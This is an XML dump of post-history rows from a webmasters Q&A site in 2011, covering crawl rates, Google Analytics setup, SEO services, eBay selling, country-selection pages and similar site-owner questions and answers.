  <row Id="38151" PostHistoryTypeId="2" PostId="16065" RevisionGUID="5e00d023-c807-4678-be09-cd3d8831c8af" CreationDate="2011-06-28T10:23:01.103" UserId="8658" Text="I was wondering if anyone knows of a free blog site (ie wordpress, blogspot, livejournal) that allows people to include php into their posts?&#xD;&#xA;&#xD;&#xA;Any leads would be greatly appreciate.&#xD;&#xA;&#xD;&#xA;cheers!&#xD;&#xA;" />
  <row Id="38152" PostHistoryTypeId="1" PostId="16065" RevisionGUID="5e00d023-c807-4678-be09-cd3d8831c8af" CreationDate="2011-06-28T10:23:01.103" UserId="8658" Text="Free Blog site that allows PHP?" />
  <row Id="38153" PostHistoryTypeId="3" PostId="16065" RevisionGUID="5e00d023-c807-4678-be09-cd3d8831c8af" CreationDate="2011-06-28T10:23:01.103" UserId="8658" Text="&lt;php&gt;&lt;blog&gt;&lt;free&gt;&lt;post&gt;" />
  <row Id="38154" PostHistoryTypeId="2" PostId="16066" RevisionGUID="a5110418-cfa0-4185-9779-3b6bb940af57" CreationDate="2011-06-28T10:29:28.420" UserId="7198" Text="You're unlikely to find a free hosted blog platform that allows PHP; it would be hard to block access to functions that could prove harmful to other users of the service without crippling PHP severely.&#xD;&#xA;&#xD;&#xA;If you want more control than a hosted blogging platform like [WordPress.com](http://wordpress.com) offers, try downloading a copy of WordPress yourself from [WordPress.org](http://wordpress.org), then [setting it up](http://codex.wordpress.org/Getting_Started_with_WordPress) on a cheap shared server with one of the [hosting partners](http://wordpress.org/hosting/) they recommend." />
  <row Id="38165" PostHistoryTypeId="4" PostId="11281" RevisionGUID="a107fd8e-4f0e-4f56-a263-980a6df07e00" CreationDate="2011-06-28T11:28:56.377" UserId="4306" Comment="Updated title for clarity" Text="Display Google Custom Search results on your own site" />
  <row Id="38166" PostHistoryTypeId="24" PostId="11281" RevisionGUID="a107fd8e-4f0e-4f56-a263-980a6df07e00" CreationDate="2011-06-28T11:28:56.377" Comment="Proposed by 4306 approved by 108 edit id of 420" />
  <row Id="38167" PostHistoryTypeId="2" PostId="16067" RevisionGUID="1d3c0888-bd9c-4e9b-aa42-7eb7774af694" CreationDate="2011-06-28T11:33:53.153" UserId="7198" Text="I've been using the following line in the `&lt;head&gt;` of my sites for years:&#xD;&#xA;&#xD;&#xA;`&lt;meta name=&quot;revisit-after&quot; content=&quot;3 days&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;I recently discovered that it's not one of [the meta tags](http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=79812) that Google understands, which I take to mean that there's no point in including it, and that it's been doing no good at all for years.&#xD;&#xA;&#xD;&#xA;**How often do search engines crawl a website by default, and what reliable ways are there to increase or decrease that frequency?**" />
  <row Id="38168" PostHistoryTypeId="1" PostId="16067" RevisionGUID="1d3c0888-bd9c-4e9b-aa42-7eb7774af694" CreationDate="2011-06-28T11:33:53.153" UserId="7198" Text="How do I control how often search engines visit my site?" />
  <row Id="38169" PostHistoryTypeId="3" PostId="16067" RevisionGUID="1d3c0888-bd9c-4e9b-aa42-7eb7774af694" CreationDate="2011-06-28T11:33:53.153" UserId="7198" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="38170" PostHistoryTypeId="2" PostId="16068" RevisionGUID="cf331274-8b72-4788-93a3-1e2a1b4a5438" CreationDate="2011-06-28T11:40:01.167" UserId="1253" Text="You can [control how fast Google crawls your site in Google Webmaster Tools][1].&#xD;&#xA;&#xD;&#xA;&gt; Crawl rate for your site determines&#xD;&#xA;&gt; the time used by Googlebot to crawl&#xD;&#xA;&gt; your site on each visit. Our goal is&#xD;&#xA;&gt; to thoroughly crawl your site (so your&#xD;&#xA;&gt; pages can be indexed and returned in&#xD;&#xA;&gt; search results!) without creating a&#xD;&#xA;&gt; noticeable impact on your server's&#xD;&#xA;&gt; bandwidth. While most webmasters are&#xD;&#xA;&gt; fine using the default crawl setting&#xD;&#xA;&gt; (i.e. no changes needed, more on that&#xD;&#xA;&gt; below), some webmasters may have more&#xD;&#xA;&gt; specific needs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Googlebot employs sophisticated&#xD;&#xA;&gt; algorithms that determine how much to&#xD;&#xA;&gt; crawl each site it visits. For a vast&#xD;&#xA;&gt; majority of sites, it's probably best&#xD;&#xA;&gt; to choose the &quot;Let Google determine my&#xD;&#xA;&gt; crawl rate&quot; option, which is the&#xD;&#xA;&gt; default. However, if you're an&#xD;&#xA;&gt; advanced user or if you're facing&#xD;&#xA;&gt; bandwidth issues with your server, you&#xD;&#xA;&gt; can customize your crawl rate to the&#xD;&#xA;&gt; speed most optimal for your web&#xD;&#xA;&gt; server(s). The custom crawl rate&#xD;&#xA;&gt; option allows you to provide Googlebot&#xD;&#xA;&gt; insight to the maximum number of&#xD;&#xA;&gt; requests per second and the number of&#xD;&#xA;&gt; seconds between requests that you feel&#xD;&#xA;&gt; are best for your environment.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Googlebot determines the range of&#xD;&#xA;&gt; crawl rate values you'll have&#xD;&#xA;&gt; available in Webmaster Tools. This is&#xD;&#xA;&gt; based on our understanding of your&#xD;&#xA;&gt; server's capabilities. This range may&#xD;&#xA;&gt; vary from one site to another and&#xD;&#xA;&gt; across time based on several factors.&#xD;&#xA;&gt; Setting the crawl rate to a&#xD;&#xA;&gt; lower-than-default value may affect&#xD;&#xA;&gt; the coverage and freshness of your&#xD;&#xA;&gt; site in Google's search results.&#xD;&#xA;&gt; However, setting it to higher value&#xD;&#xA;&gt; than the default won't improve your&#xD;&#xA;&gt; coverage or ranking. If you do set a&#xD;&#xA;&gt; custom crawl rate, the new rate will&#xD;&#xA;&gt; be in effect for 90 days after which&#xD;&#xA;&gt; it resets to Google's recommended&#xD;&#xA;&gt; value.&#xD;&#xA;&gt; &#xD;&#xA;&gt; You may use this setting only for root&#xD;&#xA;&gt; level sites and sites not hosted on a&#xD;&#xA;&gt; large domain like blogspot.com (we&#xD;&#xA;&gt; have special settings assigned for&#xD;&#xA;&gt; them). To check the crawl rate&#xD;&#xA;&gt; setting, sign in to Webmaster Tools&#xD;&#xA;&gt; and visit the Settings tab. If you&#xD;&#xA;&gt; have additional questions, visit the&#xD;&#xA;&gt; Webmaster Help Center to learn more&#xD;&#xA;&gt; about how Google crawls your site or&#xD;&#xA;&gt; post your questions in the Webmaster&#xD;&#xA;&gt; Help Forum.&#xD;&#xA;&#xD;&#xA;Other then that you would probably need to create your own filtering system that sniffs out their user agents and either allows or denies search engine bots based in their user-agent. But that would only affect decreasing their frequency.&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2008/12/more-control-of-googlebots-crawl-rate.html" />
  <row Id="38171" PostHistoryTypeId="2" PostId="16069" RevisionGUID="9831b632-3a1d-4ff7-bbce-3698c3fd2549" CreationDate="2011-06-28T11:40:51.183" UserId="1643" Text="To answer the second part of your question, you can tell Google using Webmaster Tools&#xD;&#xA;&#xD;&#xA;&gt; To change the crawl rate:&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. On the Webmaster Tools Home page,&#xD;&#xA;&gt; click the site you want. &#xD;&#xA;&#xD;&#xA;&gt; 2. Under Site&#xD;&#xA;&gt; configuration, click Settings. &#xD;&#xA;&#xD;&#xA;&gt; 3. In the&#xD;&#xA;&gt; Crawl rate section, select the option&#xD;&#xA;&gt; you want.&#xD;&#xA;&#xD;&#xA;https://www.google.com/support/webmasters/bin/answer.py?answer=48620&amp;hl=en_GB&#xD;&#xA;&#xD;&#xA;On the [Bing FAQ][1] it refers to [this post][2] which recommends setting `Crawl-Delay: X` where x is the number of seconds to wait between each request.&#xD;&#xA;&#xD;&#xA;Of course sitemaps indicate how often pages change.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bing.com/community/webmaster/f/12252/t/646805.aspx&#xD;&#xA;  [2]: http://www.bing.com/community/site_blogs/b/webmaster/archive/2008/06/03/robots-exclusion-protocol-joining-together-to-provide-better-documentation.aspx" />
  <row Id="38172" PostHistoryTypeId="5" PostId="13072" RevisionGUID="4793df1f-1386-44a6-b34b-2edba0b9d315" CreationDate="2011-06-28T11:42:12.600" UserId="1253" Comment="deleted 96 characters in body; edited title" Text="I'm trying to increase the conversion rate for my website. Should I open an Ebay account and try to redirect customers from Ebay to my website?&#xD;&#xA;" />
  <row Id="38173" PostHistoryTypeId="4" PostId="13072" RevisionGUID="4793df1f-1386-44a6-b34b-2edba0b9d315" CreationDate="2011-06-28T11:42:12.600" UserId="1253" Comment="deleted 96 characters in body; edited title" Text="Should I set up an Ebay account besides my website " />
  <row Id="38174" PostHistoryTypeId="2" PostId="16070" RevisionGUID="edb87491-54d8-47e0-a90c-532426814aec" CreationDate="2011-06-28T11:50:40.700" UserId="1643" Text="I don't know anything about Market Samurai, but I did find out that BLP is backlinks to the page. If people have been linking to duo.be then that's diluting yours stats. However apart from contacting everyone and asking them to change their links to www.duo.be there's not a lot you can do." />
  <row Id="38175" PostHistoryTypeId="2" PostId="16071" RevisionGUID="94edcdbb-f16e-44ec-98ff-cfeb226459b9" CreationDate="2011-06-28T12:19:30.020" UserId="1089" Text="My experience with a client who had a webstore and ebay selling none unique items (car parts)&#xD;&#xA;&#xD;&#xA;Ebay was a race to the bottom, they were constantly being undercut by competitors products which were so cheap they simply had to be inferior - either that or they were operating with a profit margin close to zero.&#xD;&#xA;&#xD;&#xA;When it came to feedback customers typically leave feedback between 48 and 72 hours, so you tend to find you are rated on how quickly the item turned up and in what condition it was in, whilst these are obviously important it doesn't always paint the full picture, in my case the client prides themselves with ongoing support - you buy a part from them and it breaks in 6-18 months, they will do their best to help you, this is rarely reflected in ebay feedback.&#xD;&#xA;&#xD;&#xA;I guess I'm saying that customers on ebay can be different from customers on a website. &#xD;&#xA;&#xD;&#xA;So to directly answer your question, setting up an ebay account did not directly result in increased website sales." />
  <row Id="38176" PostHistoryTypeId="25" PostId="16067" RevisionGUID="67a184ab-a87c-439f-aa25-af2fb8d6e3e3" CreationDate="2011-06-28T12:25:56.780" Comment="http://twitter.com/#!/StackWebmasters/status/85685358171394048" />
  <row Id="38177" PostHistoryTypeId="5" PostId="16057" RevisionGUID="dbf14ed7-8b20-4ccb-868b-ac7ebcfdc9cc" CreationDate="2011-06-28T12:26:35.947" UserId="7198" Comment="corrected code snippet" Text="Your `#dsq-content` div has a `margin-left` value of 30px. Add the following to the bottom of your WordPress theme's stylesheet to override it:&#xD;&#xA;&#xD;&#xA;    div#content div#disqus_thread div#dsq-content{&#xD;&#xA;        margin-left:0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;To edit a theme's stylesheet, go to the Appearance &gt; Editor panel in the WordPress admin area." />
  <row Id="38178" PostHistoryTypeId="8" PostId="16057" RevisionGUID="39414820-d7f3-462a-a472-13d0276640d1" CreationDate="2011-06-28T12:27:15.167" UserId="7198" Comment="Rollback to [166df350-1c14-4938-92ce-0dc29d3d0134]" Text="Your `#dsq-content` div has a `margin-left` value of 30px. Add the following to the bottom of your WordPress theme's stylesheet to override it:&#xD;&#xA;&#xD;&#xA;    div#content div#disqus_thread div#dsq-content.clearfix{&#xD;&#xA;        margin-left:0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;To edit a theme's stylesheet, go to the Appearance &gt; Editor panel in the WordPress admin area." />
  <row Id="38188" PostHistoryTypeId="17" PostId="16074" RevisionGUID="6f97eaef-92a6-4bfa-96d3-c368eedbb37c" CreationDate="2011-06-28T13:45:04.023" UserId="-1" Comment="from http://serverfault.com/questions/284893/very-few-visitors-on-analytics-incorrect-setting" Text="" />
  <row Id="38189" PostHistoryTypeId="2" PostId="16074" RevisionGUID="ee5e4f44-f62d-48bf-9016-06bb89b14afa" CreationDate="2011-06-28T13:42:06.787" UserDisplayName="Akaban" Text="it's quite a long time Analytics is making me crazy: I have a 2 years old website, started with Aruba (an Italian provider) and then transfered on Hostgator. It's a blog Wordpress + MyBB forum, and on both the platforms I've the Analytics code in the footer. The problem is that the stats on Analytics are simply ridiculous compared to the numbers reported by the Aruba (before) and Hostgator (then). I think that the numbers of Aruba/Hostgator are correct, simply because just the daily users connected on the forum is higher than the Analytics numbers. I know it's a really confused request, but maybe you can help me to understand what's the problem." />
  <row Id="38190" PostHistoryTypeId="1" PostId="16074" RevisionGUID="ee5e4f44-f62d-48bf-9016-06bb89b14afa" CreationDate="2011-06-28T13:42:06.787" UserDisplayName="Akaban" Text="Very few visitors on Analytics: incorrect setting?" />
  <row Id="38191" PostHistoryTypeId="3" PostId="16074" RevisionGUID="ee5e4f44-f62d-48bf-9016-06bb89b14afa" CreationDate="2011-06-28T13:42:06.787" UserDisplayName="Akaban" Text="&lt;analytics&gt;&lt;google-analytics&gt;" />
  <row Id="38192" PostHistoryTypeId="17" PostId="16075" RevisionGUID="dafca174-4add-4a59-89ba-f71527ca8a9f" CreationDate="2011-06-28T13:50:50.150" UserId="-1" Comment="from http://stackoverflow.com/questions/4674539/cost-effective-way-to-provide-static-media-content" Text="" />
  <row Id="38193" PostHistoryTypeId="2" PostId="16075" RevisionGUID="fb6be38a-0bd5-4f97-bcdf-4276ffc32893" CreationDate="2011-01-12T22:06:12.217" UserDisplayName="james" Text="I'd like to be able to deliver around 50MB of static content, either in about 30 individual files up to 10MB or grouped into 3 compressed files, around 5k to 20k times a day.  Ideally I'd like to put some sort of very basic security around providing the data to ensure that a request is from the expected source, but if tossing the security for a big reduction in price is possible then it's an option.&#xD;&#xA;&#xD;&#xA;Does anyone have any suggestions other than what I've found:&#xD;&#xA;&#xD;&#xA;Google AppEngine is $0.12/GB &amp; I believe has a file size limit of 10MB so I'd have to break the data up a bit.  So a rough calculation would seem to be that this would cost me about $30 to $120 a day.&#xD;&#xA;&#xD;&#xA;Or I've seen something like what seems to be just public static content delivery with no type of logic capabilities like Usenet.nl at what I think calculates to about $0.025/GB which would cost me about $6 to $25 a day.&#xD;&#xA;&#xD;&#xA;Any idea if I'm going about these calculations right &amp; if there might be a better option for just static content on a decently high volume delivery?  Again some basic security would be great but if cost is greatly reduced without it then I'm up for that." />
  <row Id="38194" PostHistoryTypeId="1" PostId="16075" RevisionGUID="fb6be38a-0bd5-4f97-bcdf-4276ffc32893" CreationDate="2011-01-12T22:06:12.217" UserDisplayName="james" Text="Cost effective way to provide static media content" />
  <row Id="38195" PostHistoryTypeId="3" PostId="16075" RevisionGUID="fb6be38a-0bd5-4f97-bcdf-4276ffc32893" CreationDate="2011-01-12T22:06:12.217" UserDisplayName="james" Text="&lt;security&gt;&lt;server&gt;&lt;bandwidth&gt;&lt;cost&gt;&lt;static-content&gt;" />
  <row Id="38200" PostHistoryTypeId="2" PostId="16077" RevisionGUID="2a60bb00-f2a5-479a-98bb-476e4e09f23c" CreationDate="2011-06-28T13:59:44.150" UserId="529" Text="'Other', in this case, is defined by exclusion.&#xD;&#xA;&#xD;&#xA; - Referring Sites is defined by traffic where GA could detect `document.referrer`, and thus set the medium as `referral`, except if deemed as search engine traffic or overridden with manual campaign tagging. &#xD;&#xA; - Search Engines is defined by referral traffic that `ga.js` has explicitly determined to be search traffic, as well as tagged traffic where `utm_medium` is set to either `cpc` or `organic`. &#xD;&#xA; - Direct Traffic is defined as traffic without a referrer and no campaign tagging. This could come from manual URL entry, from an HTTPS-&gt;HTTP referral, from a non-web source (like an app), etc.&#xD;&#xA;&#xD;&#xA; - Other is any traffic that has defined sources that doesn't meet any of the above criteria. " />
  <row Id="38204" PostHistoryTypeId="2" PostId="16078" RevisionGUID="3d492afe-a260-4cba-ae1b-525e8d7bdedc" CreationDate="2011-06-28T14:04:32.743" UserId="8531" Text="Install this extension in Chrome: https://chrome.google.com/webstore/detail/homgcnaoacgigpkkljjjekpignblkeae and then open the site. The extension knows quite a few CMS systems, even obscure ones so there's a good chance it'll know about this one." />
  <row Id="38205" PostHistoryTypeId="2" PostId="16079" RevisionGUID="9b8b472a-9b66-4c3e-9fba-20c5919d9837" CreationDate="2011-06-28T14:06:07.707" UserId="6033" Text="Since you mentioned that your code is in the footer, do you have the entire code block in the footer? If so try putting the top half in head:&#xD;&#xA;&#xD;&#xA;This code is just an example to show where the break should occur. Your code might look different. &#xD;&#xA;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    //Tracking code customizations only&#xD;&#xA;          var _gaq = _gaq || [];&#xD;&#xA;          _gaq.push(['_setAccount', 'your analytics acct #']);&#xD;&#xA;          _gaq.push(['_setAllowHash', false]);&#xD;&#xA;          _gaq.push(['_trackPageview']); &#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;&#xD;&#xA;Only include the part starting with (function(){ in the footer with script tags around it:&#xD;&#xA;&#xD;&#xA;    &lt;script&gt;&#xD;&#xA;        (function() {&#xD;&#xA;            var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;            ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;            var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;          })();&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38206" PostHistoryTypeId="2" PostId="16080" RevisionGUID="c643566a-8b1e-4e40-adb6-693e042ad613" CreationDate="2011-06-28T14:14:53.453" UserId="8664" Text="While this might not 100% match the intent of this site, it was the closest match from Stackexchange sites.&#xD;&#xA;&#xD;&#xA;So, if a web site (the &quot;entrance&quot; page) offers a choice (a list) of countries, with the text &quot;Chose your country&quot;, but the users country is not listed, what should he do?&#xD;&#xA;&#xD;&#xA;One example is http://www.samsung.com/countryselection.do " />
  <row Id="38207" PostHistoryTypeId="1" PostId="16080" RevisionGUID="c643566a-8b1e-4e40-adb6-693e042ad613" CreationDate="2011-06-28T14:14:53.453" UserId="8664" Text="Country selection, when country is not listed" />
  <row Id="38208" PostHistoryTypeId="3" PostId="16080" RevisionGUID="c643566a-8b1e-4e40-adb6-693e042ad613" CreationDate="2011-06-28T14:14:53.453" UserId="8664" Text="&lt;websites&gt;&lt;landing-page&gt;&lt;homepage&gt;" />
  <row Id="38209" PostHistoryTypeId="2" PostId="16081" RevisionGUID="2c006309-c4c0-4da4-a07a-b1ce5439fa2a" CreationDate="2011-06-28T14:17:51.637" UserId="1643" Text="This is a good place to ask. It depends on how you want to handle it. If you had offices on each continent you could give them the names of the continents or geographical areas to pick. Or you could give a link to the head office or international headquarters.&#xD;&#xA;&#xD;&#xA;If you want the actual name of the country from them you could have a text box where they could enter it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38210" PostHistoryTypeId="2" PostId="16082" RevisionGUID="b10a384d-a047-487a-865a-ae37404626ab" CreationDate="2011-06-28T14:27:01.143" UserId="8058" Text="There are two reasons for having country specific content; language and local information. One thing that's good about the samsung page is it lists what language the selection is in. A user whose country isn't listed can pick a nearby country that does have its language.&#xD;&#xA;&#xD;&#xA;The second reason is for local content. If you don't have any local content for a country, then it makes sense that it isn't in the list, and the user should either select a nearby country, or go to the headquarters page.&#xD;&#xA;&#xD;&#xA;Your best option is listing an &quot;Other&quot; option and explaining why their country wasn't listed and what options are available to them, and it's perfectly acceptable to do that in just one language.&#xD;&#xA;&#xD;&#xA;Providing country-specific content and language is a huge positive step for a company, but you can't reach everyone equally. There are always people who drop into the &quot;Other&quot; category, and they deserve a short explanation and some options and maybe contact information so that in the future they could have their own content." />
  <row Id="38211" PostHistoryTypeId="2" PostId="16083" RevisionGUID="1c5d1856-51cf-4d0e-bf89-89082550d70a" CreationDate="2011-06-28T14:47:12.113" UserId="8665" Text="I've been approached to possible take over SEO/marketting work for a site. The guy is currently using a paid service at http://refreshseo.com/ and paying around $80p/m. From what I can make out all refreshseo does is automatically generate keyword rich content pages and attach them to the site. These pages aren't actually linked to from within the site. &#xD;&#xA;&#xD;&#xA;So I'm wondering two things&#xD;&#xA;&#xD;&#xA;1. has anyone had any experience with this particular company or similar types - has it been worth it?&#xD;&#xA;2. How do you think the recent Google Panda updates impacts on this kind of strategy?&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;" />
  <row Id="38212" PostHistoryTypeId="1" PostId="16083" RevisionGUID="1c5d1856-51cf-4d0e-bf89-89082550d70a" CreationDate="2011-06-28T14:47:12.113" UserId="8665" Text="SEO Service - Refresh SEO" />
  <row Id="38213" PostHistoryTypeId="3" PostId="16083" RevisionGUID="1c5d1856-51cf-4d0e-bf89-89082550d70a" CreationDate="2011-06-28T14:47:12.113" UserId="8665" Text="&lt;seo&gt;" />
  <row Id="38214" PostHistoryTypeId="5" PostId="16080" RevisionGUID="8a5ef70b-9b9f-488c-8514-1656978f6bff" CreationDate="2011-06-28T14:52:51.440" UserId="8664" Comment="additional info" Text="While this might not 100% match the intent of this site, it was the closest match from Stackexchange sites.&#xD;&#xA;&#xD;&#xA;So, if a web site (the &quot;entrance&quot; page) offers a choice (a list) of countries, with the text &quot;Chose your country&quot;, but the users country is not listed, what should he do?&#xD;&#xA;&#xD;&#xA;One example is http://www.samsung.com/countryselection.do &#xD;&#xA;&#xD;&#xA;Addition: I ask this standing in the users position. I encounter a web site and it gives me the above page. What to do?&#xD;&#xA;&#xD;&#xA;Another issue: What is &quot;my&quot; country? My current location? My permanent residence? The country of my citizenship? Something else?" />
  <row Id="38215" PostHistoryTypeId="2" PostId="16084" RevisionGUID="90d420e3-1fa0-4d29-8984-3caf350b1698" CreationDate="2011-06-28T14:56:29.440" UserId="1253" Text="I took a brief look at their website and it doesn't look like they offer any service of any real value. It looks like they do glorified link exchanges and article submissions. These are known to be ineffective for SEO. Link exchanges have little value since they are obviously traded links which have almost no value unless the other site is the 900 pound gorilla in the industry (and they never are). Low quality articles are exactly what the Panda algorithm is rooting out.&#xD;&#xA;&#xD;&#xA;If someone were to ask me my opinion of this kind of service it would be to stay away. Not only do these tactics not work but using these kind of tools run the risk of Google determining they are manipulating their rankings and being banned as a result." />
  <row Id="38216" PostHistoryTypeId="5" PostId="16084" RevisionGUID="5a541a0a-3641-4dbc-8b34-5427d1186070" CreationDate="2011-06-28T15:06:16.513" UserId="1253" Comment="added 23 characters in body" Text="I took a brief look at their website and it doesn't look like they offer any service of any real value. It looks like they do glorified link exchanges and article submissions. These are known to be ineffective for SEO. Link exchanges have little value since they are obviously traded links which have almost no value unless the other site is the 900 pound gorilla in the industry (and they never are). Low quality articles are exactly what the Panda algorithm is rooting out.&#xD;&#xA;&#xD;&#xA;If someone were to ask me my opinion of this kind of service it would be to stay away. These tactics simply don't work. And depending on how their plug-ins work, you may run the risk of Google determining that you are trying to manipulate your rankings and penalize your site." />
  <row Id="38217" PostHistoryTypeId="2" PostId="16085" RevisionGUID="6a2570de-bc27-4d25-ab10-a4a66611513e" CreationDate="2011-06-28T15:16:48.203" UserId="8666" Text="I've already known some HTML, tables, link, image,...etc but just at a basic level. Now i want to learn how to build a layout for a website and design also. I want to start building a layout right a way and just learning from it, not really like reading so much theories, explanations&#xD;&#xA;&#xD;&#xA;Many books are so verbose, they teach from the beginning of HTML or explain things too much. I don't want to waste my time. So is there any book good for me?&#xD;&#xA;&#xD;&#xA;Thanks ^^&#xD;&#xA;" />
  <row Id="38218" PostHistoryTypeId="1" PostId="16085" RevisionGUID="6a2570de-bc27-4d25-ab10-a4a66611513e" CreationDate="2011-06-28T15:16:48.203" UserId="8666" Text="Book recommend: Start learning web design with css with basic HTML knowledge" />
  <row Id="38219" PostHistoryTypeId="3" PostId="16085" RevisionGUID="6a2570de-bc27-4d25-ab10-a4a66611513e" CreationDate="2011-06-28T15:16:48.203" UserId="8666" Text="&lt;html&gt;&lt;css&gt;&lt;web&gt;&lt;design&gt;&lt;layout&gt;" />
  <row Id="38220" PostHistoryTypeId="5" PostId="16070" RevisionGUID="146a4ad1-0533-4536-94cc-c1ce471d81bd" CreationDate="2011-06-28T15:16:50.040" UserId="1643" Comment="Updated in light of comment" Text="I don't know anything about Market Samurai, but I did find out that BLP is backlinks to the page. If people have been linking to duo.be then that's diluting yours stats. However apart from contacting everyone and asking them to change their links to www.duo.be there's not a lot you can do.&#xD;&#xA;&#xD;&#xA;If you've changed your preferred domain then it's going to take a while for search engines to recrawl the pages on that domain.&#xD;&#xA;&#xD;&#xA;DMOZ will only list one entry for your site so as duo.be and www.duo.be are effectively the same site, one's going to be in DMOZ and one isn't." />
  <row Id="38221" PostHistoryTypeId="16" PostId="16085" RevisionGUID="8629443c-aaee-4f9b-b913-9056c76a99bd" CreationDate="2011-06-28T15:20:31.930" UserId="1253" />
  <row Id="38222" PostHistoryTypeId="5" PostId="16085" RevisionGUID="8629443c-aaee-4f9b-b913-9056c76a99bd" CreationDate="2011-06-28T15:20:31.930" UserId="1253" Comment="Made community wiki, modified tags, removed &quot;thanks&quot;" Text="I've already known some HTML, tables, link, image,...etc but just at a basic level. Now I want to learn how to build a layout for a website and design also. I want to start building a layout right a way and just learning from it, not really like reading so much theories, explanations. Many books are so verbose, they teach from the beginning of HTML or explain things too much. I don't want to waste my time. So are there any good books for me?&#xD;&#xA;" />
  <row Id="38223" PostHistoryTypeId="6" PostId="16085" RevisionGUID="8629443c-aaee-4f9b-b913-9056c76a99bd" CreationDate="2011-06-28T15:20:31.930" UserId="1253" Comment="Made community wiki, modified tags, removed &quot;thanks&quot;" Text="&lt;html&gt;&lt;css&gt;&lt;design&gt;" />
  <row Id="38224" PostHistoryTypeId="25" PostId="16083" RevisionGUID="fa637f4c-4dbd-4b99-99b2-7e1da31aac9f" CreationDate="2011-06-28T15:25:57.373" Comment="http://twitter.com/#!/StackWebmasters/status/85730659313778688" />
  <row Id="38225" PostHistoryTypeId="2" PostId="16086" RevisionGUID="0af2b40c-65cc-4a8c-8285-4a235212b546" CreationDate="2011-06-28T15:27:27.930" UserId="7801" Text="After Googling our company name to our horror we've found someone on Yelp.co.uk has reviewed our company. On the SERP your eye is immediately drawn to the 2 star review some complete stranger has written, which to be honest is pure slander! The most infuriating thing is the person who reviewed our company has never even been a client/customer.&#xD;&#xA;&#xD;&#xA;It's a bit like me reviewing a restaurant having never eaten or even been in there!&#xD;&#xA;&#xD;&#xA;We've sent her a private message on Yelp to remove the review and also sent a complaint to Yelp themselves but have yet to get a reply. We've resisted going mad at the reviewer and also requested that she re-review us having just relaunched our new website (it still riles us that she's not even a client though!).&#xD;&#xA;&#xD;&#xA;We've had genuine customers/clients review us on Yelp yet this 2 star review remains on Google's SERP. Roughly how long would it take to for our new reviews to over take this review?&#xD;&#xA;&#xD;&#xA;Does anyone have any suggestions as to how we can push the review off the 1st page of Google's SERP or any creative ways in which we can tackle this issue?" />
  <row Id="38226" PostHistoryTypeId="1" PostId="16086" RevisionGUID="0af2b40c-65cc-4a8c-8285-4a235212b546" CreationDate="2011-06-28T15:27:27.930" UserId="7801" Text="Ideas to tackle unwanted bad press/review on Google's SERP?" />
  <row Id="38227" PostHistoryTypeId="3" PostId="16086" RevisionGUID="0af2b40c-65cc-4a8c-8285-4a235212b546" CreationDate="2011-06-28T15:27:27.930" UserId="7801" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="38228" PostHistoryTypeId="2" PostId="16087" RevisionGUID="d2bfa272-afed-4e3f-8425-cc8836dafb24" CreationDate="2011-06-28T15:31:49.913" UserId="8390" Text="I have made a new plain vanilla HTML website ([fullreservebanking.com][1]) - I have been making regular modifications to it on an almost daily basis. The site is hosted by hostmonster and as part of their service they offer &quot;awstats&quot; to let you know assorted details of visitors to the site. One thing is puzzling me. According to awstats, a &quot;robot/spider&quot; calling itself &quot;Googlebot&quot; visited my site as recently as today (28th June 2011), but when I find my site on google (e.g. by searching for &quot;full reserve banking&quot;) the cache is dated only the 5th June. I always thought that a visit from the google robot was synonymous with a cache update. Am I wrong? Or have I accidentally put something in the site telling google that nothing has been updated? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fullreservebanking.com" />
  <row Id="38229" PostHistoryTypeId="1" PostId="16087" RevisionGUID="d2bfa272-afed-4e3f-8425-cc8836dafb24" CreationDate="2011-06-28T15:31:49.913" UserId="8390" Text="Googlebot visit but no cache update - why?" />
  <row Id="38230" PostHistoryTypeId="3" PostId="16087" RevisionGUID="d2bfa272-afed-4e3f-8425-cc8836dafb24" CreationDate="2011-06-28T15:31:49.913" UserId="8390" Text="&lt;google&gt;&lt;robots&gt;&lt;awstats&gt;" />
  <row Id="38231" PostHistoryTypeId="2" PostId="16088" RevisionGUID="968f5d36-76f5-437e-a771-f16bd1ff3a69" CreationDate="2011-06-28T15:38:24.473" UserId="1253" Text="Just because Googlebot visits your site it doesn't mean something is going to change in Google's search results soon after. Google's cache is not updated daily and is known for taking quite some time to update itself. &#xD;&#xA;&#xD;&#xA;There is no set timetable for when Google will update its cache but I suspect it works a lot like how they add newer pages to the index. Site like StackOverflow will see an updated cache and new pages indexed quickly. Lesser sites will see a delay between the cache being updated and newer pages being added.&#xD;&#xA;&#xD;&#xA;There's nothing you can do about it other then to be patient. " />
